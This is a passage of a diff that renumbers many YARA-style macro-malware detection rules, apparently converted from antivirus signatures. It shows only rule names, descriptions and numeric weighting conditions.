1)*10045+(#a_74_3 & 1)*9762+(#a_22_5 & 1)*8808) >=6 } -rule _InfrastructureShared_23595{ +rule _InfrastructureShared_24881{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_MACROHSTR_EXT,01 00 01 00 04 00 21 " @@ -307445,7 +323940,7 @@ rule _InfrastructureShared_23595{ ((#a_53_0 & 1)*19747+(#a_74_1 & 1)*8742+(#a_67_2 & 1)*1538+(#a_39_3 & 1)*8960) >=1 } -rule _InfrastructureShared_23596{ +rule _InfrastructureShared_24882{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_MACROHSTR_EXT,01 00 01 00 05 00 21 " @@ -307459,7 +323954,7 @@ rule _InfrastructureShared_23596{ ((#a_53_0 & 1)*19747+(#a_2f_1 & 1)*13873+(#a_00_2 & 1)*144+(#a_2e_3 & 1)*14595+(#a_06_4 & 1)*-28625) >=1 } -rule _InfrastructureShared_23597{ +rule _InfrastructureShared_24883{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_MACROHSTR_EXT,03 00 03 00 03 00 21 " @@ -307471,7 +323966,7 @@ rule _InfrastructureShared_23597{ ((#a_53_0 & 1)*19747+(#a_70_1 & 1)*-28556+(#a_20_2 & 1)*-28640) >=3 } -rule _InfrastructureShared_23598{ +rule _InfrastructureShared_24884{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_MACROHSTR_EXT,03 00 03 00 03 00 21 " @@ -307483,7 +323978,7 @@ rule _InfrastructureShared_23598{ ((#a_53_0 & 1)*19747+(#a_2c_1 & 1)*656+(#a_02_2 & 1)*14960) >=3 } -rule _InfrastructureShared_23599{ +rule _InfrastructureShared_24885{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_MACROHSTR_EXT,04 00 04 00 04 00 21 " @@ -307496,7 +323991,7 @@ rule _InfrastructureShared_23599{ ((#a_53_0 & 1)*19747+(#a_2b_1 & 1)*12290+(#a_4d_2 & 1)*6656+(#a_22_3 & 1)*8312) >=4 } -rule _InfrastructureShared_23600{ +rule _InfrastructureShared_24886{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_MACROHSTR_EXT,04 00 04 00 04 00 21 " @@ -307509,7 +324004,7 @@ rule _InfrastructureShared_23600{ ((#a_53_0 & 1)*19747+(#a_65_1 & 1)*10340+(#a_4c_2 & 1)*8253+(#a_22_3 & 1)*15648) >=4 } -rule _InfrastructureShared_23601{ +rule _InfrastructureShared_24887{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_MACROHSTR_EXT,05 00 05 00 05 00 21 " @@ -307522,7 +324017,7 @@ rule _InfrastructureShared_23601{ ((#a_46_0 & 1)*16675+(#a_70_1 & 1)*21024+(#a_69_2 & 1)*28769+(#a_69_4 & 1)*25857) >=5 } -rule _InfrastructureShared_23602{ +rule _InfrastructureShared_24888{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_MACROHSTR_EXT,08 00 08 00 08 00 21 " @@ -307539,7 +324034,7 @@ rule _InfrastructureShared_23602{ ((#a_4c_0 & 1)*21539+(#a_69_1 & 1)*24941+(#a_4c_2 & 1)*11308+(#a_70_3 & 1)*29283+(#a_02_4 & 1)*29192+(#a_2f_5 & 1)*770+(#a_77_6 & 1)*26739+(#a_00_7 & 1)*-28928) >=8 } -rule _InfrastructureShared_23603{ +rule _InfrastructureShared_24889{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_MACROHSTR_EXT,01 00 01 00 01 00 21 " @@ -307549,7 +324044,7 @@ rule _InfrastructureShared_23603{ ((#a_53_0 & 1)*19747) >=1 } -rule _InfrastructureShared_23604{ +rule _InfrastructureShared_24890{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_MACROHSTR_EXT,03 00 03 00 03 00 21 " @@ -307561,7 +324056,7 @@ rule _InfrastructureShared_23604{ ((#a_53_0 & 1)*19747+(#a_70_1 & 1)*21612+(#a_90_2 & 1)*8236) >=3 } -rule _InfrastructureShared_23605{ +rule _InfrastructureShared_24891{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_MACROHSTR_EXT,03 00 03 00 03 00 21 " @@ -307573,7 +324068,7 @@ rule _InfrastructureShared_23605{ ((#a_53_0 & 1)*19747+(#a_70_1 & 1)*29283+(#a_64_2 & 1)*19744) >=3 } -rule _InfrastructureShared_23606{ +rule _InfrastructureShared_24892{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_MACROHSTR_EXT,0a 00 0a 00 0a 00 21 " @@ -307591,7 +324086,7 @@ rule _InfrastructureShared_23606{ ((#a_46_0 & 1)*16675+(#a_00_1 & 1)*10272+(#a_22_2 & 1)*15617+(#a_5f_3 & 1)*9760+(#a_26_4 & 1)*10546+(#a_72_6 & 1)*17153+(#a_73_7 & 1)*8297+(#a_20_8 & 1)*2573+(#a_20_9 & 1)*25378) >=10 } -rule _InfrastructureShared_23607{ +rule _InfrastructureShared_24893{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_MACROHSTR_EXT,01 00 01 00 01 00 21 " @@ -307601,7 +324096,7 @@ rule _InfrastructureShared_23607{ ((#a_46_0 & 1)*16675) >=1 } -rule _InfrastructureShared_23608{ +rule _InfrastructureShared_24894{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_MACROHSTR_EXT,01 00 01 00 01 00 21 " @@ -307611,7 +324106,7 @@ rule _InfrastructureShared_23608{ ((#a_46_0 & 1)*16675) >=1 } -rule _InfrastructureShared_23609{ +rule _InfrastructureShared_24895{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_MACROHSTR_EXT,02 00 02 00 02 00 21 " @@ -307622,7 +324117,7 @@ rule _InfrastructureShared_23609{ ((#a_46_0 & 1)*16675+(#a_2b_1 & 1)*656) >=2 } -rule _InfrastructureShared_23610{ +rule _InfrastructureShared_24896{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_MACROHSTR_EXT,03 00 03 00 03 00 21 " @@ -307634,7 +324129,7 @@ rule _InfrastructureShared_23610{ ((#a_53_0 & 1)*19747+(#a_2b_1 & 1)*12290+(#a_53_2 & 1)*18944) >=3 } -rule _InfrastructureShared_23611{ +rule _InfrastructureShared_24897{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_MACROHSTR_EXT,04 00 04 00 04 00 21 " @@ -307647,7 +324142,7 @@ rule _InfrastructureShared_23611{ ((#a_46_0 & 1)*16675+(#a_54_1 & 1)*17746+(#a_20_2 & 1)*8260+(#a_2c_3 & 1)*10545) >=4 } -rule _InfrastructureShared_23612{ +rule _InfrastructureShared_24898{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_MACROHSTR_EXT,04 00 04 00 04 00 21 " @@ -307660,7 +324155,7 @@ rule _InfrastructureShared_23612{ ((#a_53_0 & 1)*19747+(#a_02_1 & 1)*8235+(#a_4d_2 & 1)*8448+(#a_90_3 & 1)*28674) >=4 } -rule _InfrastructureShared_23613{ +rule _InfrastructureShared_24899{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_MACROHSTR_EXT,04 00 04 00 04 00 21 " @@ -307673,7 +324168,7 @@ rule _InfrastructureShared_23613{ ((#a_53_0 & 1)*19747+(#a_2b_1 & 1)*12290+(#a_3d_2 & 1)*6400+(#a_02_3 & 1)*10349) >=4 } -rule _InfrastructureShared_23614{ +rule _InfrastructureShared_24900{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_MACROHSTR_EXT,01 00 01 00 03 00 21 " @@ -307685,7 +324180,7 @@ rule _InfrastructureShared_23614{ ((#a_53_0 & 1)*19747+(#a_29_1 & 1)*11312+(#a_31_2 & 1)*9781) >=1 } -rule _InfrastructureShared_23615{ +rule _InfrastructureShared_24901{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_MACROHSTR_EXT,02 00 02 00 02 00 21 " @@ -307696,7 +324191,7 @@ rule _InfrastructureShared_23615{ ((#a_53_0 & 1)*19747+(#a_22_1 & 1)*16130) >=2 } -rule _InfrastructureShared_23616{ +rule _InfrastructureShared_24902{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_MACROHSTR_EXT,02 00 02 00 05 00 21 " @@ -307709,7 +324204,7 @@ rule _InfrastructureShared_23616{ ((#a_4c_0 & 1)*21539+(#a_6e_1 & 1)*43+(#a_63_2 & 1)*27194+(#a_20_3 & 1)*656) >=2 } -rule _InfrastructureShared_23617{ +rule _InfrastructureShared_24903{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_MACROHSTR_EXT,03 00 03 00 03 00 21 " @@ -307721,7 +324216,7 @@ rule _InfrastructureShared_23617{ ((#a_53_0 & 1)*19747+(#a_70_1 & 1)*21612+(#a_20_2 & 1)*8752) >=3 } -rule _InfrastructureShared_23618{ +rule _InfrastructureShared_24904{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_MACROHSTR_EXT,03 00 03 00 03 00 21 " @@ -307733,7 +324228,7 @@ rule _InfrastructureShared_23618{ ((#a_53_0 & 1)*19747+(#a_90_1 & 1)*11305+(#a_90_2 & 1)*10276) >=3 } -rule _InfrastructureShared_23619{ +rule _InfrastructureShared_24905{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_MACROHSTR_EXT,03 00 03 00 03 00 21 " @@ -307745,7 +324240,7 @@ rule _InfrastructureShared_23619{ ((#a_53_0 & 1)*19747+(#a_2b_1 & 1)*12290+(#a_3d_2 & 1)*15872) >=3 } -rule _InfrastructureShared_23620{ +rule _InfrastructureShared_24906{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_MACROHSTR_EXT,03 00 03 00 03 00 21 " @@ -307757,7 +324252,7 @@ rule _InfrastructureShared_23620{ ((#a_53_0 & 1)*19747+(#a_3a_1 & 1)*656+(#a_00_2 & 1)*144) >=3 } -rule _InfrastructureShared_23621{ +rule _InfrastructureShared_24907{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_MACROHSTR_EXT,04 00 04 00 04 00 21 " @@ -307770,7 +324265,7 @@ rule _InfrastructureShared_23621{ ((#a_53_0 & 1)*19747+(#a_2b_1 & 1)*8832+(#a_5a_2 & 1)*12290+(#a_6f_3 & 1)*816) >=4 } -rule _InfrastructureShared_23622{ +rule _InfrastructureShared_24908{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_MACROHSTR_EXT,04 00 04 00 04 00 21 " @@ -307783,7 +324278,7 @@ rule _InfrastructureShared_23622{ ((#a_53_0 & 1)*19747+(#a_20_1 & 1)*12290+(#a_02_2 & 1)*29488+(#a_70_3 & 1)*-28638) >=4 } -rule _InfrastructureShared_23623{ +rule _InfrastructureShared_24909{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_MACROHSTR_EXT,04 00 04 00 04 00 21 " @@ -307796,7 +324291,7 @@ rule _InfrastructureShared_23623{ ((#a_53_0 & 1)*19747+(#a_2b_1 & 1)*12290+(#a_2e_2 & 1)*7936+(#a_90_3 & 1)*25972) >=4 } -rule _InfrastructureShared_23624{ +rule _InfrastructureShared_24910{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_MACROHSTR_EXT,04 00 04 00 04 00 21 " @@ -307809,7 +324304,7 @@ rule _InfrastructureShared_23624{ ((#a_53_0 & 1)*19747+(#a_6d_1 & 1)*11887+(#a_28_2 & 1)*25445+(#a_22_3 & 1)*8742) >=4 } -rule _InfrastructureShared_23625{ +rule _InfrastructureShared_24911{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_MACROHSTR_EXT,01 00 01 00 02 00 21 " @@ -307820,7 +324315,7 @@ rule _InfrastructureShared_23625{ ((#a_53_0 & 1)*19747+(#a_22_1 & 1)*8791) >=1 } -rule _InfrastructureShared_23626{ +rule _InfrastructureShared_24912{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_MACROHSTR_EXT,01 00 01 00 0c 00 21 " @@ -307841,7 +324336,7 @@ rule _InfrastructureShared_23626{ ((#a_53_0 & 1)*19747+(#a_01_1 & 1)*16724+(#a_25_2 & 1)*526+(#a_90_3 & 1)*8226+(#a_25_4 & 1)*29720+(#a_2b_5 & 1)*12290+(#a_00_6 & 1)*3216+(#a_65_7 & 1)*24933+(#a_00_8 & 1)*21581+(#a_29_9 & 1)*16386+(#a_02_10 & 1)*13168+(#a_40_11 & 1)*-28640) >=1 } -rule _InfrastructureShared_23627{ +rule _InfrastructureShared_24913{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_MACROHSTR_EXT,03 00 03 00 03 00 21 " @@ -307853,7 +324348,7 @@ rule _InfrastructureShared_23627{ ((#a_53_0 & 1)*19747+(#a_2b_1 & 1)*8832+(#a_2e_2 & 1)*656) >=3 } -rule _InfrastructureShared_23628{ +rule _InfrastructureShared_24914{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_MACROHSTR_EXT,03 00 03 00 03 00 21 " @@ -307865,7 +324360,7 @@ rule _InfrastructureShared_23628{ ((#a_53_0 & 1)*19747+(#a_90_1 & 1)*11305+(#a_90_2 & 1)*16386) >=3 } -rule _InfrastructureShared_23629{ +rule _InfrastructureShared_24915{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_MACROHSTR_EXT,03 00 03 00 03 00 21 " @@ -307877,7 +324372,7 @@ rule _InfrastructureShared_23629{ ((#a_53_0 & 1)*19747+(#a_90_1 & 1)*11305+(#a_90_2 & 1)*16386) >=3 } -rule _InfrastructureShared_23630{ +rule _InfrastructureShared_24916{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_MACROHSTR_EXT,03 00 03 00 03 00 21 " @@ -307888,7 +324383,7 @@ rule _InfrastructureShared_23630{ ((#a_53_0 & 1)*19747+(#a_02_1 & 1)*8235) >=3 } -rule _InfrastructureShared_23631{ +rule _InfrastructureShared_24917{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_MACROHSTR_EXT,03 00 03 00 03 00 21 " @@ -307899,7 +324394,7 @@ rule _InfrastructureShared_23631{ ((#a_53_0 & 1)*19747+(#a_02_1 & 1)*8235) >=3 } -rule _InfrastructureShared_23632{ +rule _InfrastructureShared_24918{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_MACROHSTR_EXT,03 00 03 00 03 00 21 " @@ -307911,7 +324406,7 @@ rule _InfrastructureShared_23632{ ((#a_53_0 & 1)*19747+(#a_2b_1 & 1)*12290+(#a_3d_2 & 1)*19200) >=3 } -rule _InfrastructureShared_23633{ +rule _InfrastructureShared_24919{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_MACROHSTR_EXT,03 00 03 00 03 00 21 " @@ -307923,7 +324418,7 @@ rule _InfrastructureShared_23633{ ((#a_53_0 & 1)*19747+(#a_2b_1 & 1)*12290+(#a_2b_2 & 1)*12288) >=3 } -rule _InfrastructureShared_23634{ +rule _InfrastructureShared_24920{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_MACROHSTR_EXT,03 00 03 00 03 00 21 " @@ -307935,7 +324430,7 @@ rule _InfrastructureShared_23634{ ((#a_53_0 & 1)*19747+(#a_2b_1 & 1)*12290+(#a_3d_2 & 1)*14336) >=3 } -rule _InfrastructureShared_23635{ +rule _InfrastructureShared_24921{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_MACROHSTR_EXT,04 00 04 00 04 00 21 " @@ -307948,7 +324443,7 @@ rule _InfrastructureShared_23635{ ((#a_46_0 & 1)*16675+(#a_90_1 & 1)*8812+(#a_75_2 & 1)*25976+(#a_54_3 & 1)*19525) >=4 } -rule _InfrastructureShared_23636{ +rule _InfrastructureShared_24922{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_MACROHSTR_EXT,05 00 05 00 07 00 21 " @@ -307964,7 +324459,7 @@ rule _InfrastructureShared_23636{ ((#a_4c_0 & 1)*21539+(#a_00_1 & 1)*25976+(#a_00_2 & 1)*3+(#a_53_3 & 1)*19747+(#a_2b_4 & 1)*12290+(#a_4d_5 & 1)*12288+(#a_22_6 & 1)*8312) >=5 } -rule _InfrastructureShared_23637{ +rule _InfrastructureShared_24923{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_MACROHSTR_EXT,03 00 03 00 03 00 21 " @@ -307976,7 +324471,7 @@ rule _InfrastructureShared_23637{ ((#a_53_0 & 1)*19747+(#a_2b_1 & 1)*12290+(#a_4d_2 & 1)*12288) >=3 } -rule _InfrastructureShared_23638{ +rule _InfrastructureShared_24924{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_MACROHSTR_EXT,03 00 03 00 03 00 21 " @@ -307988,7 +324483,7 @@ rule _InfrastructureShared_23638{ ((#a_53_0 & 1)*19747+(#a_02_1 & 1)*8736+(#a_00_2 & 1)*3) >=3 } -rule _InfrastructureShared_23639{ +rule _InfrastructureShared_24925{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_MACROHSTR_EXT,03 00 03 00 03 00 21 " @@ -308000,7 +324495,7 @@ rule _InfrastructureShared_23639{ ((#a_53_0 & 1)*19747+(#a_2b_1 & 1)*12290+(#a_20_2 & 1)*25939) >=3 } -rule _InfrastructureShared_23640{ +rule _InfrastructureShared_24926{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_MACROHSTR_EXT,05 00 05 00 05 00 21 " @@ -308013,7 +324508,7 @@ rule _InfrastructureShared_23640{ ((#a_46_0 & 1)*16675+(#a_73_1 & 1)*29025+(#a_6c_2 & 1)*25960+(#a_79_3 & 1)*19300) >=5 } -rule _InfrastructureShared_23641{ +rule _InfrastructureShared_24927{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_MACROHSTR_EXT,01 00 01 00 05 00 21 " @@ -308027,7 +324522,7 @@ rule _InfrastructureShared_23641{ ((#a_53_0 & 1)*19747+(#a_90_1 & 1)*8194+(#a_90_2 & 1)*8295+(#a_20_3 & 1)*808+(#a_00_4 & 1)*3) >=1 } -rule _InfrastructureShared_23642{ +rule _InfrastructureShared_24928{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_MACROHSTR_EXT,03 00 03 00 03 00 21 " @@ -308039,7 +324534,7 @@ rule _InfrastructureShared_23642{ ((#a_53_0 & 1)*19747+(#a_90_1 & 1)*8235+(#a_90_2 & 1)*12290) >=3 } -rule _InfrastructureShared_23643{ +rule _InfrastructureShared_24929{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_MACROHSTR_EXT,03 00 03 00 03 00 21 " @@ -308051,7 +324546,7 @@ rule _InfrastructureShared_23643{ ((#a_53_0 & 1)*19747+(#a_20_1 & 1)*8226+(#a_02_2 & 1)*11824) >=3 } -rule _InfrastructureShared_23644{ +rule _InfrastructureShared_24930{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_MACROHSTR_EXT,03 00 03 00 03 00 21 " @@ -308062,7 +324557,7 @@ rule _InfrastructureShared_23644{ ((#a_53_0 & 1)*19747+(#a_02_1 & 1)*13168) >=3 } -rule _InfrastructureShared_23645{ +rule _InfrastructureShared_24931{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_MACROHSTR_EXT,04 00 04 00 04 00 21 " @@ -308074,7 +324569,7 @@ rule _InfrastructureShared_23645{ ((#a_53_0 & 1)*19747+(#a_72_2 & 1)*8253+(#a_02_3 & 1)*-28577) >=4 } -rule _InfrastructureShared_23646{ +rule _InfrastructureShared_24932{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_MACROHSTR_EXT,04 00 04 00 04 00 21 " @@ -308087,7 +324582,7 @@ rule _InfrastructureShared_23646{ ((#a_53_0 & 1)*19747+(#a_20_1 & 1)*8447+(#a_6c_2 & 1)*26707+(#a_2e_3 & 1)*14392) >=4 } -rule _InfrastructureShared_23647{ +rule _InfrastructureShared_24933{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_MACROHSTR_EXT,06 00 06 00 06 00 21 " @@ -308102,7 +324597,7 @@ rule _InfrastructureShared_23647{ ((#a_53_0 & 1)*19747+(#a_6a_1 & 1)*27242+(#a_20_2 & 1)*8226+(#a_6a_3 & 1)*29268+(#a_22_4 & 1)*8293+(#a_73_5 & 1)*21038) >=6 } -rule _InfrastructureShared_23648{ +rule _InfrastructureShared_24934{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_MACROHSTR_EXT,08 00 07 00 04 00 21 " @@ -308115,7 +324610,7 @@ rule _InfrastructureShared_23648{ ((#a_46_0 & 1)*16675+(#a_73_1 & 1)*27758+(#a_22_2 & 1)*29552+(#a_52_3 & 1)*29812) >=7 } -rule _InfrastructureShared_23649{ +rule _InfrastructureShared_24935{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_MACROHSTR_EXT,01 00 01 00 11 00 21 " @@ -308140,7 +324635,7 @@ rule _InfrastructureShared_23649{ ((#a_53_0 & 1)*19747+(#a_22_1 & 1)*25890+(#a_22_3 & 1)*15616+(#a_6a_4 & 1)*29268+(#a_22_5 & 1)*21282+(#a_00_6 & 1)*3+(#a_53_7 & 1)*19747+(#a_2b_8 & 1)*12290+(#a_44_9 & 1)*13568+(#a_90_10 & 1)*29806+(#a_6f_11 & 1)*12109+(#a_2b_12 & 1)*28711+(#a_2b_13 & 1)*18464+(#a_67_14 & 1)*26994+(#a_02_15 & 1)*8809+(#a_22_16 & 1)*3584) >=1 } -rule _InfrastructureShared_23650{ +rule _InfrastructureShared_24936{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_MACROHSTR_EXT,02 00 02 00 02 00 21 " @@ -308151,7 +324646,7 @@ rule _InfrastructureShared_23650{ ((#a_46_0 & 1)*16675+(#a_20_1 & 1)*8226) >=2 } -rule _InfrastructureShared_23651{ +rule _InfrastructureShared_24937{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_MACROHSTR_EXT,03 00 03 00 03 00 21 " @@ -308163,7 +324658,7 @@ rule _InfrastructureShared_23651{ ((#a_53_0 & 1)*19747+(#a_2b_1 & 1)*12290+(#a_44_2 & 1)*13568) >=3 } -rule _InfrastructureShared_23652{ +rule _InfrastructureShared_24938{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_MACROHSTR_EXT,03 00 03 00 03 00 21 " @@ -308175,7 +324670,7 @@ rule _InfrastructureShared_23652{ ((#a_53_0 & 1)*19747+(#a_79_1 & 1)*11047+(#a_79_2 & 1)*21367) >=3 } -rule _InfrastructureShared_23653{ +rule _InfrastructureShared_24939{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_MACROHSTR_EXT,03 00 03 00 03 00 21 " @@ -308187,7 +324682,7 @@ rule _InfrastructureShared_23653{ ((#a_53_0 & 1)*19747+(#a_20_1 & 1)*656+(#a_02_2 & 1)*8808) >=3 } -rule _InfrastructureShared_23654{ +rule _InfrastructureShared_24940{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_MACROHSTR_EXT,04 00 04 00 04 00 21 " @@ -308200,7 +324695,7 @@ rule _InfrastructureShared_23654{ ((#a_46_0 & 1)*16675+(#a_65_1 & 1)*29537+(#a_6c_2 & 1)*18031+(#a_79_3 & 1)*29813) >=4 } -rule _InfrastructureShared_23655{ +rule _InfrastructureShared_24941{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_MACROHSTR_EXT,04 00 04 00 04 00 21 " @@ -308213,7 +324708,7 @@ rule _InfrastructureShared_23655{ ((#a_46_0 & 1)*16675+(#a_2f_1 & 1)*29812+(#a_74_2 & 1)*28764+(#a_02_3 & 1)*25920) >=4 } -rule _InfrastructureShared_23656{ +rule _InfrastructureShared_24942{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_MACROHSTR_EXT,04 00 04 00 04 00 21 " @@ -308226,7 +324721,7 @@ rule _InfrastructureShared_23656{ ((#a_53_0 & 1)*19747+(#a_2b_1 & 1)*12290+(#a_2e_2 & 1)*6912+(#a_90_3 & 1)*25972) >=4 } -rule _InfrastructureShared_23657{ +rule _InfrastructureShared_24943{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_MACROHSTR_EXT,04 00 04 00 04 00 21 " @@ -308239,7 +324734,7 @@ rule _InfrastructureShared_23657{ ((#a_53_0 & 1)*19747+(#a_2b_1 & 1)*12290+(#a_2e_2 & 1)*6912+(#a_90_3 & 1)*25972) >=4 } -rule _InfrastructureShared_23658{ +rule _InfrastructureShared_24944{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_MACROHSTR_EXT,05 00 05 00 05 00 21 " @@ -308253,7 +324748,7 @@ rule _InfrastructureShared_23658{ ((#a_4c_0 & 1)*21539+(#a_22_1 & 1)*13164+(#a_6c_2 & 1)*25711+(#a_4f_3 & 1)*29285+(#a_63_4 & 1)*27715) >=5 } -rule _InfrastructureShared_23659{ +rule _InfrastructureShared_24945{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_MACROHSTR_EXT,06 00 06 00 06 00 21 " @@ -308267,7 +324762,7 @@ rule _InfrastructureShared_23659{ ((#a_46_0 & 1)*16675+(#a_69_1 & 1)*17247+(#a_62_2 & 1)*25972+(#a_28_3 & 1)*656+(#a_72_5 & 1)*11777) >=6 } -rule _InfrastructureShared_23660{ +rule _InfrastructureShared_24946{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_MACROHSTR_EXT,06 00 06 00 09 00 21 " @@ -308283,7 +324778,7 @@ rule _InfrastructureShared_23660{ ((#a_54_0 & 1)*18467+(#a_79_2 & 1)*11777+(#a_0c_3 & 1)*-28631+(#a_00_4 & 1)*10544+(#a_70_5 & 1)*29800+(#a_00_6 & 1)*0+(#a_54_8 & 1)*18509) >=6 } -rule _InfrastructureShared_23661{ +rule _InfrastructureShared_24947{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_MACROHSTR_EXT,01 00 01 00 01 00 21 " @@ -308293,7 +324788,7 @@ rule _InfrastructureShared_23661{ ((#a_53_0 & 1)*19747) >=1 } -rule _InfrastructureShared_23662{ +rule _InfrastructureShared_24948{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_MACROHSTR_EXT,01 00 01 00 03 00 21 " @@ -308305,7 +324800,7 @@ rule _InfrastructureShared_23662{ ((#a_53_0 & 1)*19747+(#a_30_1 & 1)*12332+(#a_30_2 & 1)*29551) >=1 } -rule _InfrastructureShared_23663{ +rule _InfrastructureShared_24949{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_MACROHSTR_EXT,03 00 03 00 03 00 21 " @@ -308317,7 +324812,7 @@ rule _InfrastructureShared_23663{ ((#a_53_0 & 1)*19747+(#a_2b_1 & 1)*12290+(#a_46_2 & 1)*15616) >=3 } -rule _InfrastructureShared_23664{ +rule _InfrastructureShared_24950{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_MACROHSTR_EXT,03 00 03 00 03 00 21 " @@ -308329,7 +324824,7 @@ rule _InfrastructureShared_23664{ ((#a_53_0 & 1)*19747+(#a_2b_1 & 1)*12290+(#a_22_2 & 1)*17408) >=3 } -rule _InfrastructureShared_23665{ +rule _InfrastructureShared_24951{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_MACROHSTR_EXT,04 00 04 00 04 00 21 " @@ -308342,7 +324837,7 @@ rule _InfrastructureShared_23665{ ((#a_46_0 & 1)*16675+(#a_65_1 & 1)*29561+(#a_74_2 & 1)*28517+(#a_63_3 & 1)*656) >=4 } -rule _InfrastructureShared_23666{ +rule _InfrastructureShared_24952{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_MACROHSTR_EXT,04 00 04 00 04 00 21 " @@ -308355,7 +324850,7 @@ rule _InfrastructureShared_23666{ ((#a_53_0 & 1)*19747+(#a_2b_1 & 1)*12290+(#a_2b_2 & 1)*6144+(#a_90_3 & 1)*8302) >=4 } -rule _InfrastructureShared_23667{ +rule _InfrastructureShared_24953{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_MACROHSTR_EXT,04 00 04 00 04 00 21 " @@ -308368,7 +324863,7 @@ rule _InfrastructureShared_23667{ ((#a_53_0 & 1)*19747+(#a_5c_1 & 1)*8230+(#a_54_2 & 1)*25960+(#a_00_3 & 1)*-28928) >=4 } -rule _InfrastructureShared_23668{ +rule _InfrastructureShared_24954{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_MACROHSTR_EXT,05 00 05 00 04 00 21 " @@ -308381,7 +324876,7 @@ rule _InfrastructureShared_23668{ ((#a_46_0 & 1)*16675+(#a_72_1 & 1)*29487+(#a_76_2 & 1)*29795+(#a_65_3 & 1)*12064) >=5 } -rule _InfrastructureShared_23669{ +rule _InfrastructureShared_24955{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_MACROHSTR_EXT,01 00 01 00 01 00 21 " @@ -308391,7 +324886,7 @@ rule _InfrastructureShared_23669{ ((#a_53_0 & 1)*19747) >=1 } -rule _InfrastructureShared_23670{ +rule _InfrastructureShared_24956{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_MACROHSTR_EXT,03 00 03 00 03 00 21 " @@ -308403,7 +324898,7 @@ rule _InfrastructureShared_23670{ ((#a_46_0 & 1)*16675+(#a_63_1 & 1)*27234+(#a_22_2 & 1)*23610) >=3 } -rule _InfrastructureShared_23671{ +rule _InfrastructureShared_24957{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_MACROHSTR_EXT,03 00 03 00 03 00 21 " @@ -308415,7 +324910,7 @@ rule _InfrastructureShared_23671{ ((#a_54_0 & 1)*18467+(#a_22_1 & 1)*8736+(#a_03_2 & 1)*1) >=3 } -rule _InfrastructureShared_23672{ +rule _InfrastructureShared_24958{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_MACROHSTR_EXT,03 00 03 00 03 00 21 " @@ -308427,7 +324922,7 @@ rule _InfrastructureShared_23672{ ((#a_53_0 & 1)*19747+(#a_2b_1 & 1)*8194+(#a_20_2 & 1)*8226) >=3 } -rule _InfrastructureShared_23673{ +rule _InfrastructureShared_24959{ meta: description = 